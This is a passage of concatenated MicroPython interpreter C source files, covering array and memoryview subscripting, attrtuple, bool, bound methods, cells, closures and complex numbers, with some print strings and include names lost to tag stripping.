MICROPY_PY_BUILTINS_MEMORYVIEW } else if (o->base.type == &mp_type_memoryview) { res = m_new_obj(mp_obj_array_t); *res = *o; res->free += slice.start; res->len = slice.stop - slice.start; #endif } else { res = array_new(o->typecode, slice.stop - slice.start); memcpy(res->items, (uint8_t*)o->items + slice.start * sz, (slice.stop - slice.start) * sz); } return MP_OBJ_FROM_PTR(res); #endif } else { size_t index = mp_get_index(o->base.type, o->len, index_in, false); #if MICROPY_PY_BUILTINS_MEMORYVIEW if (o->base.type == &mp_type_memoryview) { index += o->free; if (value != MP_OBJ_SENTINEL && (o->typecode & 0x80) == 0) { // store to read-only memoryview return MP_OBJ_NULL; } } #endif if (value == MP_OBJ_SENTINEL) { // load return mp_binary_get_val_array(o->typecode & TYPECODE_MASK, o->items, index); } else { // store mp_binary_set_val_array(o->typecode & TYPECODE_MASK, o->items, index, value); return mp_const_none; } } } } STATIC mp_int_t array_get_buffer(mp_obj_t o_in, mp_buffer_info_t *bufinfo, mp_uint_t flags) { mp_obj_array_t *o = MP_OBJ_TO_PTR(o_in); size_t sz = mp_binary_get_size('@', o->typecode & TYPECODE_MASK, NULL); bufinfo->buf = o->items; bufinfo->len = o->len * sz; bufinfo->typecode = o->typecode & TYPECODE_MASK; #if MICROPY_PY_BUILTINS_MEMORYVIEW if (o->base.type == &mp_type_memoryview) { if ((o->typecode & 0x80) == 0 && (flags & MP_BUFFER_WRITE)) { // read-only memoryview return 1; } bufinfo->buf = (uint8_t*)bufinfo->buf + (size_t)o->free * sz; } #else (void)flags; #endif return 0; } #if MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_ARRAY STATIC const mp_rom_map_elem_t array_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_append), MP_ROM_PTR(&array_append_obj) }, { MP_ROM_QSTR(MP_QSTR_extend), MP_ROM_PTR(&array_extend_obj) }, }; STATIC MP_DEFINE_CONST_DICT(array_locals_dict, array_locals_dict_table); #endif #if MICROPY_PY_ARRAY const mp_obj_type_t mp_type_array = { { &mp_type_type }, .name = MP_QSTR_array, .print = array_print, .make_new = array_make_new, .getiter = array_iterator_new, .unary_op = array_unary_op, .binary_op = array_binary_op, .subscr = array_subscr, .buffer_p = { .get_buffer = array_get_buffer }, .locals_dict = (mp_obj_dict_t*)&array_locals_dict, }; #endif #if MICROPY_PY_BUILTINS_BYTEARRAY const mp_obj_type_t mp_type_bytearray = { { &mp_type_type }, .name = MP_QSTR_bytearray, .print = array_print, .make_new = bytearray_make_new, .getiter = array_iterator_new, .unary_op = array_unary_op, .binary_op = array_binary_op, .subscr = array_subscr, .buffer_p = { .get_buffer = array_get_buffer }, .locals_dict = (mp_obj_dict_t*)&array_locals_dict, }; #endif #if MICROPY_PY_BUILTINS_MEMORYVIEW const mp_obj_type_t mp_type_memoryview = { { &mp_type_type }, .name = MP_QSTR_memoryview, .make_new = memoryview_make_new, .getiter = array_iterator_new, .unary_op = array_unary_op, .binary_op = array_binary_op, .subscr = array_subscr, .buffer_p = { .get_buffer = array_get_buffer }, }; #endif /* unused size_t mp_obj_array_len(mp_obj_t self_in) { return ((mp_obj_array_t *)self_in)->len; } */ #if MICROPY_PY_BUILTINS_BYTEARRAY mp_obj_t mp_obj_new_bytearray(size_t n, void *items) { mp_obj_array_t *o = array_new(BYTEARRAY_TYPECODE, n); memcpy(o->items, items, n); return MP_OBJ_FROM_PTR(o); } // Create bytearray which references specified memory area mp_obj_t mp_obj_new_bytearray_by_ref(size_t n, void *items) { mp_obj_array_t *o = m_new_obj(mp_obj_array_t); o->base.type = &mp_type_bytearray; o->typecode = BYTEARRAY_TYPECODE; o->free = 0; o->len = n; o->items = items; return MP_OBJ_FROM_PTR(o); } #endif /******************************************************************************/ // array iterator typedef struct _mp_obj_array_it_t { mp_obj_base_t base; mp_obj_array_t *array; size_t offset; size_t cur; } mp_obj_array_it_t; STATIC mp_obj_t array_it_iternext(mp_obj_t self_in) { mp_obj_array_it_t *self = MP_OBJ_TO_PTR(self_in); if (self->cur < self->array->len) { return mp_binary_get_val_array(self->array->typecode & TYPECODE_MASK, self->array->items, self->offset + self->cur++); } else { return MP_OBJ_STOP_ITERATION; } } STATIC const mp_obj_type_t array_it_type = { { &mp_type_type }, .name = MP_QSTR_iterator, .getiter = mp_identity_getiter, .iternext = array_it_iternext, }; STATIC mp_obj_t array_iterator_new(mp_obj_t array_in, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_array_t) <= sizeof(mp_obj_iter_buf_t)); mp_obj_array_t *array = MP_OBJ_TO_PTR(array_in); mp_obj_array_it_t *o = (mp_obj_array_it_t*)iter_buf; o->base.type = &array_it_type; o->array = array; o->offset = 0; o->cur = 0; #if MICROPY_PY_BUILTINS_MEMORYVIEW if (array->base.type == &mp_type_memoryview) { o->offset = array->free; } #endif return MP_OBJ_FROM_PTR(o); } #endif // MICROPY_PY_ARRAY || MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_BUILTINS_MEMORYVIEW ================================================ FILE: micropython/source/py/objattrtuple.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/objtuple.h" #if MICROPY_PY_ATTRTUPLE || MICROPY_PY_COLLECTIONS // this helper function is used by collections.namedtuple #if !MICROPY_PY_COLLECTIONS STATIC #endif void mp_obj_attrtuple_print_helper(const mp_print_t *print, const qstr *fields, mp_obj_tuple_t *o) { mp_print_str(print, "("); for (size_t i = 0; i < o->len; i++) { if (i > 0) { mp_print_str(print, ", "); } mp_printf(print, "%q=", fields[i]); mp_obj_print_helper(print, o->items[i], PRINT_REPR); } mp_print_str(print, ")"); } #endif #if MICROPY_PY_ATTRTUPLE STATIC void mp_obj_attrtuple_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { (void)kind; mp_obj_tuple_t *o = MP_OBJ_TO_PTR(o_in); const qstr *fields = (const qstr*)MP_OBJ_TO_PTR(o->items[o->len]); mp_obj_attrtuple_print_helper(print, fields, o); } STATIC void mp_obj_attrtuple_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { if (dest[0] == MP_OBJ_NULL) { // load attribute mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in); size_t len = self->len; const qstr *fields = (const qstr*)MP_OBJ_TO_PTR(self->items[len]); for (size_t i = 0; i < len; i++) { if (fields[i] == attr) { dest[0] = self->items[i]; return; } } } } mp_obj_t mp_obj_new_attrtuple(const qstr *fields, size_t n, const mp_obj_t *items) { mp_obj_tuple_t *o = m_new_obj_var(mp_obj_tuple_t, mp_obj_t, n + 1); o->base.type = &mp_type_attrtuple; o->len = n; for (size_t i = 0; i < n; i++) { o->items[i] = items[i]; } o->items[n] = MP_OBJ_FROM_PTR(fields); return MP_OBJ_FROM_PTR(o); } const mp_obj_type_t mp_type_attrtuple = { { &mp_type_type }, .name = MP_QSTR_tuple, // reuse tuple to save on a qstr .print = mp_obj_attrtuple_print, .unary_op = mp_obj_tuple_unary_op, .binary_op = mp_obj_tuple_binary_op, .attr = mp_obj_attrtuple_attr, .subscr = mp_obj_tuple_subscr, .getiter = mp_obj_tuple_getiter, }; #endif // MICROPY_PY_ATTRTUPLE ================================================ FILE: micropython/source/py/objbool.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/obj.h" #include "py/runtime0.h" #include "py/runtime.h" typedef struct _mp_obj_bool_t { mp_obj_base_t base; bool value; } mp_obj_bool_t; STATIC void bool_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { mp_obj_bool_t *self = MP_OBJ_TO_PTR(self_in); if (MICROPY_PY_UJSON && kind == PRINT_JSON) { if (self->value) { mp_print_str(print, "true"); } else { mp_print_str(print, "false"); } } else { if (self->value) { mp_print_str(print, "True"); } else { mp_print_str(print, "False"); } } } STATIC mp_obj_t bool_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 0, 1, false); if (n_args == 0) { return mp_const_false; } else { return mp_obj_new_bool(mp_obj_is_true(args[0])); } } STATIC mp_obj_t bool_unary_op(mp_uint_t op, mp_obj_t o_in) { if (op == MP_UNARY_OP_LEN) { return MP_OBJ_NULL; } mp_obj_bool_t *self = MP_OBJ_TO_PTR(o_in); return mp_unary_op(op, MP_OBJ_NEW_SMALL_INT(self->value)); } STATIC mp_obj_t bool_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { mp_obj_bool_t *self = MP_OBJ_TO_PTR(lhs_in); return mp_binary_op(op, MP_OBJ_NEW_SMALL_INT(self->value), rhs_in); } const mp_obj_type_t mp_type_bool = { { &mp_type_type }, .name = MP_QSTR_bool, .print = bool_print, .make_new = bool_make_new, .unary_op = bool_unary_op, .binary_op = bool_binary_op, }; const mp_obj_bool_t mp_const_false_obj = {{&mp_type_bool}, false}; const mp_obj_bool_t mp_const_true_obj = {{&mp_type_bool}, true}; ================================================ FILE: micropython/source/py/objboundmeth.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/obj.h" #include "py/runtime.h" typedef struct _mp_obj_bound_meth_t { mp_obj_base_t base; mp_obj_t meth; mp_obj_t self; } mp_obj_bound_meth_t; #if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED STATIC void bound_meth_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { (void)kind; mp_obj_bound_meth_t *o = MP_OBJ_TO_PTR(o_in); mp_printf(print, "self, PRINT_REPR); mp_print_str(print, "."); mp_obj_print_helper(print, o->meth, PRINT_REPR); mp_print_str(print, ">"); } #endif mp_obj_t mp_call_method_self_n_kw(mp_obj_t meth, mp_obj_t self, size_t n_args, size_t n_kw, const mp_obj_t *args) { // need to insert self before all other args and then call meth size_t n_total = n_args + 2 * n_kw; mp_obj_t *args2 = NULL; mp_obj_t *free_args2 = NULL; if (n_total > 4) { // try to use heap to allocate temporary args array args2 = m_new_maybe(mp_obj_t, 1 + n_total); free_args2 = args2; } if (args2 == NULL) { // (fallback to) use stack to allocate temporary args array args2 = alloca(sizeof(mp_obj_t) * (1 + n_total)); } args2[0] = self; memcpy(args2 + 1, args, n_total * sizeof(mp_obj_t)); mp_obj_t res = mp_call_function_n_kw(meth, n_args + 1, n_kw, args2); if (free_args2 != NULL) { m_del(mp_obj_t, free_args2, 1 + n_total); } return res; } STATIC mp_obj_t bound_meth_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_obj_bound_meth_t *self = MP_OBJ_TO_PTR(self_in); return mp_call_method_self_n_kw(self->meth, self->self, n_args, n_kw, args); } #if MICROPY_PY_FUNCTION_ATTRS STATIC void bound_meth_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { if (dest[0] != MP_OBJ_NULL) { // not load attribute return; } if (attr == MP_QSTR___name__) { mp_obj_bound_meth_t *o = MP_OBJ_TO_PTR(self_in); dest[0] = MP_OBJ_NEW_QSTR(mp_obj_fun_get_name(o->meth)); } } #endif STATIC const mp_obj_type_t mp_type_bound_meth = { { &mp_type_type }, .name = MP_QSTR_bound_method, #if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED .print = bound_meth_print, #endif .call = bound_meth_call, #if MICROPY_PY_FUNCTION_ATTRS .attr = bound_meth_attr, #endif }; mp_obj_t mp_obj_new_bound_meth(mp_obj_t meth, mp_obj_t self) { mp_obj_bound_meth_t *o = m_new_obj(mp_obj_bound_meth_t); o->base.type = &mp_type_bound_meth; o->meth = meth; o->self = self; return MP_OBJ_FROM_PTR(o); } ================================================ FILE: micropython/source/py/objcell.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/obj.h" typedef struct _mp_obj_cell_t { mp_obj_base_t base; mp_obj_t obj; } mp_obj_cell_t; mp_obj_t mp_obj_cell_get(mp_obj_t self_in) { mp_obj_cell_t *self = MP_OBJ_TO_PTR(self_in); return self->obj; } void mp_obj_cell_set(mp_obj_t self_in, mp_obj_t obj) { mp_obj_cell_t *self = MP_OBJ_TO_PTR(self_in); self->obj = obj; } #if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED STATIC void cell_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { (void)kind; mp_obj_cell_t *o = MP_OBJ_TO_PTR(o_in); mp_printf(print, "obj); if (o->obj == MP_OBJ_NULL) { mp_print_str(print, "(nil)"); } else { mp_obj_print_helper(print, o->obj, PRINT_REPR); } mp_print_str(print, ">"); } #endif STATIC const mp_obj_type_t mp_type_cell = { { &mp_type_type }, .name = MP_QSTR_, // cell representation is just value in < > #if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED .print = cell_print, #endif }; mp_obj_t mp_obj_new_cell(mp_obj_t obj) { mp_obj_cell_t *o = m_new_obj(mp_obj_cell_t); o->base.type = &mp_type_cell; o->obj = obj; return MP_OBJ_FROM_PTR(o); } ================================================ FILE: micropython/source/py/objclosure.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/obj.h" #include "py/runtime.h" typedef struct _mp_obj_closure_t { mp_obj_base_t base; mp_obj_t fun; size_t n_closed; mp_obj_t closed[]; } mp_obj_closure_t; STATIC mp_obj_t closure_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_obj_closure_t *self = MP_OBJ_TO_PTR(self_in); // need to concatenate closed-over-vars and args size_t n_total = self->n_closed + n_args + 2 * n_kw; if (n_total <= 5) { // use stack to allocate temporary args array mp_obj_t args2[5]; memcpy(args2, self->closed, self->n_closed * sizeof(mp_obj_t)); memcpy(args2 + self->n_closed, args, (n_args + 2 * n_kw) * sizeof(mp_obj_t)); return mp_call_function_n_kw(self->fun, self->n_closed + n_args, n_kw, args2); } else { // use heap to allocate temporary args array mp_obj_t *args2 = m_new(mp_obj_t, n_total); memcpy(args2, self->closed, self->n_closed * sizeof(mp_obj_t)); memcpy(args2 + self->n_closed, args, (n_args + 2 * n_kw) * sizeof(mp_obj_t)); mp_obj_t res = mp_call_function_n_kw(self->fun, self->n_closed + n_args, n_kw, args2); m_del(mp_obj_t, args2, n_total); return res; } } #if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED STATIC void closure_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { (void)kind; mp_obj_closure_t *o = MP_OBJ_TO_PTR(o_in); mp_print_str(print, "fun, PRINT_REPR); mp_printf(print, " at %p, n_closed=%u ", o, (int)o->n_closed); for (size_t i = 0; i < o->n_closed; i++) { if (o->closed[i] == MP_OBJ_NULL) { mp_print_str(print, "(nil)"); } else { mp_obj_print_helper(print, o->closed[i], PRINT_REPR); } mp_print_str(print, " "); } mp_print_str(print, ">"); } #endif const mp_obj_type_t closure_type = { { &mp_type_type }, .name = MP_QSTR_closure, #if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED .print = closure_print, #endif .call = closure_call, }; mp_obj_t mp_obj_new_closure(mp_obj_t fun, size_t n_closed_over, const mp_obj_t *closed) { mp_obj_closure_t *o = m_new_obj_var(mp_obj_closure_t, mp_obj_t, n_closed_over); o->base.type = &closure_type; o->fun = fun; o->n_closed = n_closed_over; memcpy(o->closed, closed, n_closed_over * sizeof(mp_obj_t)); return MP_OBJ_FROM_PTR(o); } ================================================ FILE: micropython/source/py/objcomplex.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/nlr.h" #include "py/obj.h" #include "py/parsenum.h" #include "py/runtime0.h" #include "py/runtime.h" #if MICROPY_PY_BUILTINS_COMPLEX #include #include "py/formatfloat.h" typedef struct _mp_obj_complex_t { mp_obj_base_t base; mp_float_t real; mp_float_t imag; } mp_obj_complex_t; STATIC void complex_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { (void)kind; mp_obj_complex_t *o = MP_OBJ_TO_PTR(o_in); #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT char buf[16]; #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C const int precision = 6; #else const int precision = 7; #endif #else char buf[32]; const int precision = 16; #endif if (o->real == 0) { mp_format_float(o->imag, buf, sizeof(buf), 'g', precision, '\0'); mp_printf(print, "%sj", buf); } else { mp_format_float(o->real, buf, sizeof(buf), 'g', precision, '\0'); mp_printf(print, "(%s", buf); if (o->imag >= 0 || isnan(o->imag)) { mp_print_str(print, "+"); } mp_format_float(o->imag, buf, sizeof(buf), 'g', precision, '\0'); mp_printf(print, "%sj)", buf); } } STATIC mp_obj_t complex_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 0, 2, false); switch (n_args) { case 0: return mp_obj_new_complex(0, 0); case 1: if (MP_OBJ_IS_STR(args[0])) { // a string, parse it size_t l; const char *s = mp_obj_str_get_data(args[0], &l); return mp_parse_num_decimal(s, l, true, true, NULL); } else if (MP_OBJ_IS_TYPE(args[0], &mp_type_complex)) { // a complex, just return it return args[0]; } else { // something else, try to cast it to a complex return mp_obj_new_complex(mp_obj_get_float(args[0]), 0); } case 2: default: { mp_float_t real, imag; if (MP_OBJ_IS_TYPE(args[0], &mp_type_complex)) { mp_obj_complex_get(args[0], &real, &imag); } else { real = mp_obj_get_float(args[0]); imag = 0; } if (MP_OBJ_IS_TYPE(args[1], &mp_type_complex)) { mp_float_t real2, imag2; mp_obj_complex_get(args[1], &real2, &imag2); real -= imag2; imag += real2; } else { imag += mp_obj_get_float(args[1]); } return mp_obj_new_complex(real, imag); } } } STATIC mp_obj_t complex_unary_op(mp_uint_t op, mp_obj_t o_in) { mp_obj_complex_t *o = MP_OBJ_TO_PTR(o_in); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(o->real != 0 || o->imag != 0); case MP_UNARY_OP_HASH: return MP_OBJ_NEW_SMALL_INT(mp_float_hash(o->real) ^ mp_float_hash(o->imag)); case MP_UNARY_OP_POSITIVE: return o_in; case MP_UNARY_OP_NEGATIVE: return mp_obj_new_complex(-o->real, -o->imag); default: return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t complex_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { mp_obj_complex_t *lhs = MP_OBJ_TO_PTR(lhs_in); return mp_obj_complex_binary_op(op, lhs->real, lhs->imag, rhs_in); } STATIC void complex_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { if (dest[0] != MP_OBJ_NULL) { // not load attribute return; } mp_obj_complex_t *self = MP_OBJ_TO_PTR(self_in); if (attr == MP_QSTR_real) { dest[0] = mp_obj_new_float(self->real); } else if (attr == MP_QSTR_imag) { dest[0] = mp_obj_new_float(self->imag); } } const mp_obj_type_t mp_type_complex = { { &mp_type_type }, .name = MP_QSTR_complex, .print = complex_print, .make_new = complex_make_new, .unary_op = complex_unary_op, .binary_op = complex_binary_op, .attr = complex_attr, }; mp_obj_t mp_obj_new_complex(mp_float_t real, mp_float_t imag) { mp_obj_complex_t *o = m_new_obj(mp_obj_complex_t); o->base.type = &mp_type_complex; o->real = real; o->imag = imag; return MP_OBJ_FROM_PTR(o); } void mp_obj_complex_get(mp_obj_t self_in, mp_float_t *real, mp_float_t *imag) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_complex)); mp_obj_complex_t *self = MP_OBJ_TO_PTR(self_in); *real = self->real; *imag = self->imag; } mp_obj_t mp_obj_complex_binary_op(mp_uint_t op, mp_float_t lhs_real, mp_float_t lhs_imag, mp_obj_t rhs_in) { mp_float_t rhs_real, rhs_imag; mp_obj_get_complex(rhs_in, &rhs_real, &rhs_imag); // can be any type, this function will convert to float (if possible) switch (op) { case MP_BINARY_OP_ADD: case MP_BINARY_OP_INPLACE_ADD: lhs_real += rhs_real; lhs_imag += rhs_imag; break; case MP_BINARY_OP_SUBTRACT: case MP_BINARY_OP_INPLACE_SUBTRACT: lhs_real -= rhs_real; lhs_imag -= rhs_imag; break; case MP_BINARY_OP_MULTIPLY: case MP_BINARY_OP_INPLACE_MULTIPLY: { mp_float_t real; multiply: real = lhs_real * rhs_real - lhs_imag * rhs_imag; lhs_imag = lhs_real * rhs_imag + lhs_imag * rhs_real; lhs_real = real; break; } case MP_BINARY_OP_FLOOR_DIVIDE: case MP_BINARY_OP_INPLACE_FLOOR_DIVIDE: mp_raise_TypeError("can't do truncated division of a complex number"); case MP_BINARY_OP_TRUE_DIVIDE: case MP_BINARY_OP_INPLACE_TRUE_DIVIDE: if (rhs_imag == 0) { if (rhs_real == 0) { mp_raise_msg(&mp_type_ZeroDivisionError, "complex division by zero"); } lhs_real /= rhs_real; lhs_imag /= rhs_real; } else if (rhs_real == 0) { mp_float_t real = lhs_imag / rhs_imag; lhs_imag = -lhs_real / rhs_imag; lhs_real = real; } else { mp_float_t rhs_len_sq = rhs_real*rhs_real + rhs_imag*rhs_imag; rhs_real /= rhs_len_sq; rhs_imag /= -rhs_len_sq; goto multiply; } break; case MP_BINARY_OP_POWER: case MP_BINARY_OP_INPLACE_POWER: { // z1**z2 = exp(z2*ln(z1)) // = exp(z2*(ln(|z1|)+i*arg(z1))) // = exp( (x2*ln1 - y2*arg1) + i*(y2*ln1 + x2*arg1) ) // = exp(x3 + i*y3) // = exp(x3)*(cos(y3) + i*sin(y3)) mp_float_t abs1 = MICROPY_FLOAT_C_FUN(sqrt)(lhs_real*lhs_real + lhs_imag*lhs_imag); if (abs1 == 0) { if (rhs_imag == 0 && rhs_real >= 0) { lhs_real = (rhs_real == 0); } else { mp_raise_msg(&mp_type_ZeroDivisionError, "0.0 to a complex power"); } } else { mp_float_t ln1 = MICROPY_FLOAT_C_FUN(log)(abs1); mp_float_t arg1 = MICROPY_FLOAT_C_FUN(atan2)(lhs_imag, lhs_real); mp_float_t x3 = rhs_real * ln1 - rhs_imag * arg1; mp_float_t y3 = rhs_imag * ln1 + rhs_real * arg1; mp_float_t exp_x3 = MICROPY_FLOAT_C_FUN(exp)(x3); lhs_real = exp_x3 * MICROPY_FLOAT_C_FUN(cos)(y3); lhs_imag = exp_x3 * MICROPY_FLOAT_C_FUN(sin)(y3); } break; } case MP_BINARY_OP_EQUAL: return mp_obj_new_bool(lhs_real == rhs_real && lhs_imag == rhs_imag); default: return MP_OBJ_NULL; // op not supported } return mp_obj_new_complex(lhs_real, lhs_imag); } #endif ================================================ FILE: micropython/source/py/objdict.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF 